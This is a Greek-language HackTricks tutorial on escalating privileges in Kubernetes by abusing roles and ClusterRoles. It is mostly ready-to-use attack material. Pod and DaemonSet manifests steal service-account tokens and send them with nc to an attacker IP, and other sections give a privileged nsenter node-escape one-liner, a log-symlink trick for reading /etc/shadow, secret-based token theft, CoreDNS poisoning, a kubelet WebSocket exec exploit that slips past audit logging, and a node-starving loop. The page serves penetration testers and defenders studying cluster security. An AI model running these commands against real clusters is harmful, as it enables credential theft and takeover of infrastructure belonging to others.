Κατάχρηση Roles/ClusterRoles στο Kubernetes

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Εδώ θα βρείτε ορισμένες ενδεχομένως επικίνδυνες διαμορφώσεις Roles και ClusterRoles.
Να θυμάστε ότι μπορείτε να πάρετε όλους τους υποστηριζόμενους πόρους με kubectl api-resources

Privilege Escalation

Ως τέχνη του να αποκτάς πρόσβαση σε έναν διαφορετικό principal μέσα στο cluster με διαφορετικά privileges (εντός του Kubernetes cluster ή σε εξωτερικά clouds) από αυτά που ήδη έχεις, στο Kubernetes υπάρχουν βασικά 4 κύριες τεχνικές για να ανεβάσεις δικαιώματα:

  • Να μπορείς να impersonate άλλους user/groups/SAs με καλύτερα δικαιώματα εντός του Kubernetes cluster ή σε εξωτερικά clouds
  • Να μπορείς να create/patch/exec pods όπου μπορείς να βρείς ή να attach-άς SAs με καλύτερα δικαιώματα εντός του Kubernetes cluster ή σε εξωτερικά clouds
  • Να μπορείς να read secrets, καθώς τα tokens των SAs αποθηκεύονται ως secrets
  • Να μπορείς να escape to the node από ένα container, όπου μπορείς να κλέψεις όλα τα secrets των containers που τρέχουν στον node, τα credentials του node, και τα permissions του node στο cloud όπου τρέχει (αν υπάρχουν)
  • Μια πέμπτη τεχνική που αξίζει να αναφερθεί είναι η δυνατότητα να run port-forward σε ένα pod, καθώς μπορεί να έχεις πρόσβαση σε ενδιαφέροντα resources μέσα σε εκείνο το pod.

Access Any Resource or Verb (Wildcard)

Το wildcard (*) δίνει δικαιώματα πάνω σε οποιονδήποτε πόρο με οποιαδήποτε ενέργεια (verb). Χρησιμοποιείται από admins. Εντός ενός ClusterRole αυτό σημαίνει ότι ένας attacker θα μπορούσε να καταχραστεί οποιοδήποτε namespace στο cluster

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]

Πρόσβαση σε οποιονδήποτε πόρο με ένα συγκεκριμένο ρήμα

Στο RBAC, ορισμένα δικαιώματα εγκυμονούν σημαντικούς κινδύνους:

  1. create: Χορηγεί τη δυνατότητα δημιουργίας οποιουδήποτε πόρου του cluster, θέτοντας σε κίνδυνο την αναβάθμιση προνομίων.
  2. list: Επιτρέπει την απαρίθμηση όλων των πόρων, ενδεχομένως leak ευαίσθητων δεδομένων.
  3. get: Επιτρέπει την πρόσβαση σε secrets από service accounts, αποτελώντας απειλή για την ασφάλεια.
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["create", "list", "get"]

Pod Create - Steal Token

Ένας attacker με δικαιώματα για δημιουργία pod μπορεί να επισυνάψει ένα privileged Service Account στο pod και να κλέψει το token για να εμφανιστεί ως το Service Account. Αυτό ουσιαστικά κλιμακώνει τα προνόμιά του

Παράδειγμα pod που θα κλέψει το token του Service Account bootstrap-signer και θα το στείλει στον attacker:

apiVersion: v1
kind: Pod
metadata:
name: alpine
namespace: kube-system
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args:
[
"-c",
'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000',
]
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true

Pod Create & Escape

Τα παρακάτω δείχνουν όλα τα προνόμια που μπορεί να έχει ένα container:

  • Privileged access (απενεργοποίηση προστασιών και ρύθμιση των capabilities)
  • Disable namespaces hostIPC and hostPid που μπορούν να βοηθήσουν στην κλιμάκωση προνομίων
  • Disable hostNetwork namespace, παρέχοντας πρόσβαση για κλοπή cloud προνομίων των nodes και καλύτερη πρόσβαση σε δίκτυα
  • Mount hosts / μέσα στο container
apiVersion: v1
kind: Pod
metadata:
name: ubuntu
labels:
app: ubuntu
spec:
# Uncomment and specify a specific node you want to debug
# nodeName: <insert-node-name-here>
containers:
- image: ubuntu
command:
- "sleep"
- "3600" # adjust this as needed -- use only as long as you need
imagePullPolicy: IfNotPresent
name: ubuntu
securityContext:
allowPrivilegeEscalation: true
privileged: true
#capabilities:
#  add: ["NET_ADMIN", "SYS_ADMIN"] # add the capabilities you need https://man7.org/linux/man-pages/man7/capabilities.7.html
runAsUser: 0 # run as root (or any other user)
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never # we want to be intentional about running this pod
hostIPC: true # Use the host's ipc namespace https://www.man7.org/linux/man-pages/man7/ipc_namespaces.7.html
hostNetwork: true # Use the host's network namespace https://www.man7.org/linux/man-pages/man7/network_namespaces.7.html
hostPID: true # Use the host's pid namespace https://man7.org/linux/man-pages/man7/pid_namespaces.7.htmlpe_
volumes:
- name: host-volume
hostPath:
path: /

Δημιουργήστε το pod με:

kubectl --token $token create -f mount_root.yaml

Εντολή μιας γραμμής από this tweet και με μερικές προσθήκες:

kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'

Τώρα που μπορείς να διαφύγεις στο node, έλεγξε τις τεχνικές post-exploitation στο:

Stealth

Πιθανώς θέλεις να είσαι stealthier, στις επόμενες σελίδες μπορείς να δεις τι θα μπορούσες να έχεις πρόσβαση αν δημιουργήσεις ένα pod ενεργοποιώντας μόνο μερικά από τα προαναφερθέντα privileges στο προηγούμενο template:

  • Privileged + hostPID
  • Privileged only
  • hostPath
  • hostPID
  • hostNetwork
  • hostIPC

You can find example of how to create/abuse the previous privileged pods configurations in https://github.com/BishopFox/badPods

Δημιουργία Pod - Μετάβαση στο cloud

Εάν μπορείς να create ένα pod (και προαιρετικά ένα service account) ίσως να μπορείς να obtain privileges in cloud environment αναθέτοντας cloud roles to a pod or a service account και στη συνέχεια αποκτώντας πρόσβαση σε αυτό.
Επιπλέον, αν μπορείς να δημιουργήσεις ένα pod with the host network namespace μπορείς να steal the IAM role της node instance.

For more information check:

Pod Escape Privileges

Create/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs

Είναι εφικτό να καταχραστείς αυτά τα permissions για να create a new pod και να escalate privileges όπως στο προηγούμενο παράδειγμα.

Το ακόλουθο yaml creates a daemonset and exfiltrates the token of the SA μέσα στο pod:

apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: kube-system
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args:
[
"-c",
'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000',
]
volumeMounts:
- mountPath: /root
name: mount-node-root
volumes:
- name: mount-node-root
hostPath:
path: /

Pods Exec

pods/exec είναι ένας πόρος στο kubernetes που χρησιμοποιείται για εκτέλεση εντολών σε shell μέσα σε ένα pod. Αυτό επιτρέπει να εκτελέσεις εντολές μέσα στα containers ή να αποκτήσεις ένα shell εσωτερικά.

Επομένως, είναι δυνατό να μπεις σε ένα pod και να κλέψεις το token του SA, ή να εισέλθεις σε ένα privileged pod, να κάνεις escape στο node, και να κλέψεις όλα τα tokens των pods στο node και να (ab)use το node:

kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh

Note

Εξ ορισμού η εντολή εκτελείται στο πρώτο container του pod. Πάρε όλα τα pods σε ένα container με kubectl get pods <pod_name> -o jsonpath='{.spec.containers[*].name}' και μετά υπόδειξε το container όπου θέλεις να την εκτελέσεις με kubectl exec -it <pod_name> -c <container_name> -- sh

Αν είναι distroless container μπορείς να δοκιμάσεις να χρησιμοποιήσεις shell builtins για να πάρεις πληροφορίες των containers ή να ανεβάσεις τα δικά σου εργαλεία όπως ένα busybox χρησιμοποιώντας: kubectl cp </path/local/file> <podname>:</path/in/container>.

port-forward

Αυτή η άδεια επιτρέπει να προωθήσεις μία τοπική θύρα σε μία θύρα στο συγκεκριμένο pod. Αυτό προορίζεται για να μπορείς να κάνεις debug εφαρμογές που τρέχουν μέσα σε ένα pod εύκολα, αλλά ένας attacker μπορεί να το καταχραστεί για να αποκτήσει πρόσβαση σε ενδιαφέρουσες (π.χ. DBs) ή ευάλωτες εφαρμογές (webs?) μέσα σε ένα pod:

kubectl port-forward pod/mypod 5000:5000

Hosts Writable /var/log/ Escape

As indicated in this research, αν μπορείτε να αποκτήσετε πρόσβαση ή να δημιουργήσετε ένα pod με τον hosts /var/log/ directory mounted πάνω του, μπορείτε να escape from the container.
Αυτό συμβαίνει βασικά επειδή όταν το Kube-API tries to get the logs ενός container (using kubectl logs <pod>), ζητάει το αρχείο 0.log του pod χρησιμοποιώντας το endpoint /logs/ της υπηρεσίας Kubelet.
Η υπηρεσία Kubelet εκθέτει το endpoint /logs/ το οποίο στην ουσία εκθέτει το filesystem /var/log του container.

Επομένως, ένας attacker με access to write in the /var/log/ folder του container θα μπορούσε να εκμεταλλευτεί αυτή τη συμπεριφορά με 2 τρόπους:

  • Τροποποιώντας το αρχείο 0.log του container του (συνήθως βρίσκεται στο /var/logs/pods/namespace_pod_uid/container/0.log) ώστε να είναι symlink pointing to /etc/shadow, για παράδειγμα. Στη συνέχεια, θα μπορέσετε να εξάγετε το hosts shadow file κάνοντας:
kubectl logs escaper
failed to get parse function: unsupported log format: "root::::::::\n"
kubectl logs escaper --tail=2
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
# Keep incrementing tail to exfiltrate the whole file
  • Αν ο attacker ελέγχει οποιοδήποτε principal με τα permissions to read nodes/log, μπορεί απλά να δημιουργήσει ένα symlink στο /host-mounted/var/log/sym προς το / και όταν κατά την πρόσβαση στο https://<gateway>:10250/logs/sym/ θα εμφανίζει το root filesystem του host (η αλλαγή του symlink μπορεί να παρέχει πρόσβαση σε αρχεία).
curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
<a href="bin">bin</a>
<a href="data/">data/</a>
<a href="dev/">dev/</a>
<a href="etc/">etc/</a>
<a href="home/">home/</a>
<a href="init">init</a>
<a href="lib">lib</a>
[...]

Ένα εργαστήριο και ένα αυτοματοποιημένο exploit μπορούν να βρεθούν στο https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts

Παράκαμψη προστασίας readOnly

Εάν είστε αρκετά τυχεροί και η προνομιούχα δυνατότητα CAP_SYS_ADMIN είναι διαθέσιμη, μπορείτε απλά να επαναπροσαρτήσετε τον φάκελο ως rw:

mount -o rw,remount /hostlogs/

Παράκαμψη προστασίας hostPath readOnly

Όπως αναφέρεται στην αυτή την έρευνα είναι δυνατό να παρακαμφθεί η προστασία:

allowedHostPaths:
- pathPrefix: "/foo"
readOnly: true

Το οποίο είχε σκοπό να αποτρέψει διαφυγές όπως οι προηγούμενες, χρησιμοποιώντας, αντί για hostPath mount, ένα PersistentVolume και ένα PersistentVolumeClaim για να προσαρτήσετε έναν hosts folder στο container με writable access:

apiVersion: v1
kind: PersistentVolume
metadata:
name: task-pv-volume-vol
labels:
type: local
spec:
storageClassName: manual
capacity:
storage: 10Gi
accessModes:
- ReadWriteOnce
hostPath:
path: "/var/log"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: task-pv-claim-vol
spec:
storageClassName: manual
accessModes:
- ReadWriteOnce
resources:
requests:
storage: 3Gi
---
apiVersion: v1
kind: Pod
metadata:
name: task-pv-pod
spec:
volumes:
- name: task-pv-storage-vol
persistentVolumeClaim:
claimName: task-pv-claim-vol
containers:
- name: task-pv-container
image: ubuntu:latest
command: ["sh", "-c", "sleep 1h"]
volumeMounts:
- mountPath: "/hostlogs"
name: task-pv-storage-vol

Προσποίηση λογαριασμών με προνόμια

Με το προνόμιο user impersonation, ένας επιτιθέμενος θα μπορούσε να προσποιηθεί έναν λογαριασμό με προνόμια.

Απλώς χρησιμοποιήστε την παράμετρο --as=<username> στην εντολή kubectl για να προσποιηθείτε έναν χρήστη, ή --as-group=<group> για να προσποιηθείτε μια ομάδα:

kubectl get pods --as=system:serviceaccount:kube-system:default
kubectl get secrets --as=null --as-group=system:masters

Ή χρησιμοποιήστε το REST API:

curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Impersonate-Group: system:masters"\
-H "Impersonate-User: null" \
-H "Accept: application/json" \
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

Απαρίθμηση Secrets

Η άδεια για list secrets μπορεί να επιτρέψει σε έναν επιτιθέμενο να διαβάσει πραγματικά τα secrets μέσω πρόσβασης στο REST API endpoint:

curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

Δημιουργία και Ανάγνωση Secrets

Υπάρχει ένας ειδικός τύπος Kubernetes secret του τύπου kubernetes.io/service-account-token που αποθηκεύει serviceaccount tokens.
Εάν έχεις δικαιώματα να δημιουργείς και να διαβάζεις secrets, και γνωρίζεις επίσης το όνομα του serviceaccount, μπορείς να δημιουργήσεις ένα secret ως εξής και στη συνέχεια να κλέψεις το token του θύματος serviceaccount από αυτό:

apiVersion: v1
kind: Secret
metadata:
name: stolen-admin-sa-token
namespace: default
annotations:
kubernetes.io/service-account.name: cluster-admin-sa
type: kubernetes.io/service-account-token

Παράδειγμα exploitation:

$ SECRETS_MANAGER_TOKEN=$(kubectl create token secrets-manager-sa)

$ kubectl auth can-i --list --token=$SECRETS_MANAGER_TOKEN
Warning: the list may be incomplete: webhook authorizer does not support user rule resolution
Resources                                       Non-Resource URLs                      Resource Names   Verbs
selfsubjectreviews.authentication.k8s.io        []                                     []               [create]
selfsubjectaccessreviews.authorization.k8s.io   []                                     []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                     []               [create]
secrets                                         []                                     []               [get create]
[/.well-known/openid-configuration/]   []               [get]
<SNIP>
[/version]                             []               [get]

$ kubectl create token cluster-admin-sa --token=$SECRETS_MANAGER_TOKEN
error: failed to create token: serviceaccounts "cluster-admin-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot create resource "serviceaccounts/token" in API group "" in the namespace "default"

$ kubectl get pods --token=$SECRETS_MANAGER_TOKEN --as=system:serviceaccount:default:secrets-manager-sa
Error from server (Forbidden): serviceaccounts "secrets-manager-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot impersonate resource "serviceaccounts" in API group "" in the namespace "default"

$ kubectl apply -f ./secret-that-steals-another-sa-token.yaml --token=$SECRETS_MANAGER_TOKEN
secret/stolen-admin-sa-token created

$ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o json
{
"apiVersion": "v1",
"data": {
"ca.crt": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FU<SNIP>UlRJRklDQVRFLS0tLS0K",
"namespace": "ZGVmYXVsdA==",
"token": "ZXlKaGJHY2lPaUpTVXpJMU5pSXNJbXRwWk<SNIP>jYkowNWlCYjViMEJUSE1NcUNIY0h4QTg2aXc="
},
"kind": "Secret",
"metadata": {
"annotations": {
"kubectl.kubernetes.io/last-applied-configuration": "{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\n",
"kubernetes.io/service-account.name": "cluster-admin-sa",
"kubernetes.io/service-account.uid": "faf97f14-1102-4cb9-9ee0-857a6695973f"
},
"creationTimestamp": "2025-01-11T13:02:27Z",
"name": "stolen-admin-sa-token",
"namespace": "default",
"resourceVersion": "1019116",
"uid": "680d119f-89d0-4fc6-8eef-1396600d7556"
},
"type": "kubernetes.io/service-account-token"
}

Note that if you are allowed to create and read secrets in a certain namespace, the victim serviceaccount also must be in that same namespace.

Ανάγνωση ενός secret – brute-forcing token IDs

Ενώ ένας επιτιθέμενος που έχει στην κατοχή του ένα token με δικαιώματα ανάγνωσης χρειάζεται το ακριβές όνομα του secret για να το χρησιμοποιήσει — σε αντίθεση με το ευρύτερο listing secrets προνόμιο — εξακολουθούν να υπάρχουν ευπάθειες. Default service accounts στο σύστημα μπορούν να απαριθμηθούν, το καθένα συνδεδεμένο με ένα secret. Αυτά τα secrets έχουν δομή ονόματος: ένα στατικό πρόθεμα ακολουθούμενο από ένα τυχαίο πενταψήφιο αλφαριθμητικό token (εξαιρώντας ορισμένους χαρακτήρες) σύμφωνα με τον source code.

Το token παράγεται από ένα περιορισμένο σύνολο 27 χαρακτήρων (bcdfghjklmnpqrstvwxz2456789), αντί για ολόκληρη την αλφαριθμητική γκάμα. Ο περιορισμός αυτός μειώνει τον συνολικό αριθμό πιθανών συνδυασμών σε 14,348,907 (27^5). Συνεπώς, ένας επιτιθέμενος θα μπορούσε ρεαλιστικά να πραγματοποιήσει ένα brute-force attack για να προσδιορίσει το token μέσα σε λίγες ώρες, ενδεχομένως οδηγώντας σε privilege escalation μέσω πρόσβασης σε ευαίσθητα service accounts.

EncrpytionConfiguration σε απλό κείμενο

Είναι δυνατόν να βρεθούν κλειδιά σε απλό κείμενο για την κρυπτογράφηση δεδομένων at rest σε αυτόν τον τύπο αντικειμένου, όπως:

# From https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/

#
# CAUTION: this is an example configuration.
#          Do not use this for your own cluster!
#

apiVersion: apiserver.config.k8s.io/v1
kind: EncryptionConfiguration
resources:
- resources:
- secrets
- configmaps
- pandas.awesome.bears.example # a custom resource API
providers:
# This configuration does not provide data confidentiality. The first
# configured provider is specifying the "identity" mechanism, which
# stores resources as plain text.
#
- identity: {} # plain text, in other words NO encryption
- aesgcm:
keys:
- name: key1
secret: c2VjcmV0IGlzIHNlY3VyZQ==
- name: key2
secret: dGhpcyBpcyBwYXNzd29yZA==
- aescbc:
keys:
- name: key1
secret: c2VjcmV0IGlzIHNlY3VyZQ==
- name: key2
secret: dGhpcyBpcyBwYXNzd29yZA==
- secretbox:
keys:
- name: key1
secret: YWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXoxMjM0NTY=
- resources:
- events
providers:
- identity: {} # do not encrypt Events even though *.* is specified below
- resources:
- '*.apps' # wildcard match requires Kubernetes 1.27 or later
providers:
- aescbc:
keys:
- name: key2
secret: c2VjcmV0IGlzIHNlY3VyZSwgb3IgaXMgaXQ/Cg==
- resources:
- '*.*' # wildcard match requires Kubernetes 1.27 or later
providers:
- aescbc:
keys:
- name: key3
secret: c2VjcmV0IGlzIHNlY3VyZSwgSSB0aGluaw==

Αιτήματα Υπογραφής Πιστοποιητικών

Εάν έχετε το ρήμα create στο resource certificatesigningrequests (ή τουλάχιστον στο certificatesigningrequests/nodeClient). Μπορείτε να δημιουργήσετε ένα νέο CeSR για έναν νέο node.

Σύμφωνα με την documentation it’s possible to auto approve this requests, έτσι σε αυτή την περίπτωση δεν χρειάζεστε επιπλέον δικαιώματα. Αν όχι, θα χρειαστεί να μπορείτε να εγκρίνετε το αίτημα, που σημαίνει update στο certificatesigningrequests/approval και approve στα signers με resourceName <signerNameDomain>/<signerNamePath> ή <signerNameDomain>/*

Ένα παράδειγμα role με όλα τα απαιτούμενα δικαιώματα είναι:

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: csr-approver
rules:
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests
verbs:
- get
- list
- watch
- create
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests/approval
verbs:
- update
- apiGroups:
- certificates.k8s.io
resources:
- signers
resourceNames:
- example.com/my-signer-name # example.com/* can be used to authorize for all signers in the 'example.com' domain
verbs:
- approve

Άρα, με το νέο node CSR εγκεκριμένο, μπορείτε να abuse τις ειδικές άδειες των nodes για να steal secrets και να escalate privileges.

In this post and this one the GKE K8s TLS Bootstrap configuration is configured with automatic signing and it’s abused to generate credentials of a new K8s Node and then abuse those to escalate privileges by stealing secrets.
Εάν έχετε τα αναφερθέντα privileges μπορείτε να κάνετε το ίδιο. Σημειώστε ότι το πρώτο παράδειγμα παρακάμπτει το σφάλμα που εμποδίζει ένα νέο node να έχει πρόσβαση σε secrets μέσα σε containers επειδή a node can only access the secrets of containers mounted on it.

Ο τρόπος για να παρακάμψετε αυτό είναι απλώς να create a node credentials for the node name where the container with the interesting secrets is mounted (αλλά έλεγξε απλώς πώς να το κάνεις στο πρώτο post):

"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"

AWS EKS aws-auth configmaps

Οι οντότητες (principals) που μπορούν να τροποποιήσουν configmaps στο namespace kube-system σε clusters EKS (πρέπει να βρίσκονται στο AWS) μπορούν να αποκτήσουν δικαιώματα διαχειριστή του cluster αντικαθιστώντας το configmap aws-auth.
Τα απαιτούμενα verbs είναι update και patch, ή create αν το configmap δεν είχε δημιουργηθεί:

# Check if config map exists
get configmap aws-auth -n kube-system -o yaml

## Yaml example
apiVersion: v1
kind: ConfigMap
metadata:
name: aws-auth
namespace: kube-system
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node{{EC2PrivateDNSName}}
groups:
- system:masters

# Create donfig map is doesn't exist
## Using kubectl and the previous yaml
kubectl apply -f /tmp/aws-auth.yaml
## Using eksctl
eksctl create iamidentitymapping --cluster Testing --region us-east-1 --arn arn:aws:iam::123456789098:role/SomeRoleTestName --group "system:masters" --no-duplicate-arns

# Modify it
kubectl edit -n kube-system configmap/aws-auth
## You can modify it to even give access to users from other accounts
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node{{EC2PrivateDNSName}}
groups:
- system:masters
mapUsers: |
- userarn: arn:aws:iam::098765432123:user/SomeUserTestName
username: admin
groups:
- system:masters

Warning

Μπορείς να χρησιμοποιήσεις aws-auth για persistence δίνοντας πρόσβαση σε χρήστες από άλλους λογαριασμούς.

Ωστόσο, aws --profile other_account eks update-kubeconfig --name <cluster-name> δεν λειτουργεί από διαφορετικό λογαριασμό. Αλλά στην πραγματικότητα aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing λειτουργεί αν βάλεις το ARN του cluster αντί για μόνο το όνομα.
Για να λειτουργήσει το kubectl, απλώς βεβαιώσου να configure το victims kubeconfig και στα aws exec args πρόσθεσε --profile other_account_role ώστε το kubectl να χρησιμοποιεί το profile του άλλου λογαριασμού για να πάρει το token και να επικοινωνήσει με την AWS.

CoreDNS config map

Αν έχεις τα δικαιώματα να τροποποιήσεις το coredns configmap στο namespace kube-system, μπορείς να αλλάξεις τις διευθύνσεις στις οποίες θα επιλύονται τα domains ώστε να μπορέσεις να εκτελέσεις MitM επιθέσεις για να υποκλέψεις ευαίσθητες πληροφορίες ή να εισάγεις κακόβουλο περιεχόμενο.

Οι verbs που απαιτούνται είναι update και patch πάνω στο coredns configmap (ή σε όλα τα config maps).

Ένα τυπικό coredns file περιέχει κάτι σαν το παρακάτω:

data:
Corefile: |
.:53 {
log
errors
health {
lameduck 5s
}
ready
kubernetes cluster.local in-addr.arpa ip6.arpa {
pods insecure
fallthrough in-addr.arpa ip6.arpa
ttl 30
}
prometheus :9153
hosts {
192.168.49.1 host.minikube.internal
fallthrough
}
forward . /etc/resolv.conf {
max_concurrent 1000
}
cache 30
loop
reload
loadbalance
}

Ένας επιτιθέμενος μπορεί να το κατεβάσει εκτελώντας kubectl get configmap coredns -n kube-system -o yaml, να το τροποποιήσει προσθέτοντας κάτι σαν rewrite name victim.com attacker.com έτσι ώστε κάθε φορά που γίνεται πρόσβαση στο victim.com στην πραγματικότητα να γίνεται πρόσβαση στο domain attacker.com. Και μετά να το εφαρμόσει εκτελώντας kubectl apply -f poison_dns.yaml.

Μια άλλη επιλογή είναι απλώς να επεξεργαστείτε το αρχείο εκτελώντας kubectl edit configmap coredns -n kube-system και να κάνετε τις αλλαγές.

Κλιμάκωση στο GKE

Υπάρχουν 2 τρόποι για να ανατεθούν K8s permissions σε GCP principals. Σε κάθε περίπτωση ο principal χρειάζεται επίσης το permission container.clusters.get για να μπορεί να συγκεντρώσει credentials για πρόσβαση στο cluster, ή θα χρειαστεί να generate your own kubectl config file (ακολουθήστε τον επόμενο σύνδεσμο).

Warning

When talking to the K8s api endpoint, the GCP auth token will be sent. Then, GCP, through the K8s api endpoint, will first check if the principal (by email) has any access inside the cluster, then it will check if it has any access via GCP IAM.
If any of those are true, he will be responded. If not an error suggesting to give permissions via GCP IAM will be given.

Then, the first method is using GCP IAM, the K8s permissions have their equivalent GCP IAM permissions, and if the principal have it, it will be able to use it.

GCP - Container Privesc

The second method is assigning K8s permissions inside the cluster to the identifying the user by its email (GCP service accounts included).

Create serviceaccounts token

Principals that can create TokenRequests (serviceaccounts/token) When talking to the K8s api endpoint SAs (info from here).

ephemeralcontainers

Principals that can update or patch pods/ephemeralcontainers can gain code execution on other pods, and potentially break out to their node by adding an ephemeral container with a privileged securityContext

ValidatingWebhookConfigurations or MutatingWebhookConfigurations

Principals with any of the verbs create, update or patch over validatingwebhookconfigurations or mutatingwebhookconfigurations might be able to create one of such webhookconfigurations in order to be able to escalate privileges.

For a mutatingwebhookconfigurations example check this section of this post.

Κλιμάκωση

As you can read in the next section: Built-in Privileged Escalation Prevention, a principal cannot update neither create roles or clusterroles without having himself those new permissions. Except if he has the verb escalate or * over roles or clusterroles and the respective binding options.
Then he can update/create new roles, clusterroles with better permissions than the ones he has.

Nodes proxy

Principals with access to the nodes/proxy subresource can execute code on pods via the Kubelet API (according to this). More information about Kubelet authentication in this page:

Kubelet Authentication & Authorization

nodes/proxy GET -> Kubelet /exec via WebSocket verb confusion

  • Το Kubelet αντιστοιχίζει τις HTTP μεθόδους σε RBAC verbs πριν την αναβάθμιση του πρωτοκόλλου. Τα WebSocket handshakes πρέπει να ξεκινούν με HTTP GET (Connection: Upgrade), οπότε το /exec μέσω WebSocket ελέγχεται ως verb get αντί του αναμενόμενου create.
  • Οι /exec, /run, /attach, και /portforward δεν χαρτογραφούνται ρητά και εμπίπτουν στο προεπιλεγμένο proxy subresource, οπότε το ερώτημα εξουσιοδότησης γίνεται can <user> get nodes/proxy?
  • Εάν ένα token έχει μόνο nodes/proxy + get, η άμεση πρόσβαση WebSocket στο kubelet στο https://<node_ip>:10250 επιτρέπει την αυθαίρετη εκτέλεση εντολών σε οποιοδήποτε pod σε εκείνο το node. Το ίδιο αίτημα μέσω του API server proxy path (/api/v1/nodes/<node>/proxy/exec/...) απορρίπτεται επειδή είναι κανονικό HTTP POST και χαρτογραφείται στο create.
  • Το kubelet δεν διενεργεί δεύτερο έλεγχο εξουσιοδότησης μετά την αναβάθμιση σε WebSocket· αξιολογείται μόνο το αρχικό GET.

Άμεσο exploit (απαιτεί δικτυακή προσβασιμότητα στο kubelet και ένα token με nodes/proxy GET):

kubectl auth can-i --list | grep "nodes/proxy"
websocat --insecure \
--header "Authorization: Bearer $TOKEN" \
--protocol "v4.channel.k8s.io" \
"wss://$NODE_IP:10250/exec/$NAMESPACE/$POD/$CONTAINER?output=1&error=1&command=id"
  • Χρησιμοποιήστε την Node IP, όχι το όνομα του κόμβου. Το ίδιο αίτημα με curl -X POST θα είναι Forbidden γιατί αντιστοιχεί στο create.
  • Η άμεση πρόσβαση στο kubelet παρακάμπτει τον API server, οπότε το AuditPolicy εμφανίζει μόνο τα subjectaccessreviews από το kubelet user agent και δεν καταγράφει τις εντολές pods/exec.
  • Απαριθμήστε τους επηρεαζόμενους service accounts με το detection script για να βρείτε tokens περιορισμένα σε nodes/proxy GET.

Διαγραφή pods + unschedulable nodes

Οντότητες που μπορούν να διαγράψουν pods (delete verb over pods resource), ή να εκδιώξουν pods (create verb over pods/eviction resource), ή να αλλάξουν το status ενός pod (πρόσβαση σε pods/status) και μπορούν να κάνουν άλλους κόμβους unschedulable (πρόσβαση σε nodes/status) ή να διαγράψουν nodes (delete verb over nodes resource) και έχουν έλεγχο πάνω σε ένα pod, θα μπορούσαν να κλέψουν pods από άλλους κόμβους ώστε να εκτελεστούν στον παραβιασμένο κόμβο και ο επιτιθέμενος να κλέψει τα tokens από αυτά τα pods.

patch_node_capacity(){
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
}

while true; do patch_node_capacity <id_other_node>; done &
#Launch previous line with all the nodes you need to attack

kubectl delete pods -n kube-system <privileged_pod_name>

Κατάσταση υπηρεσιών (CVE-2020-8554)

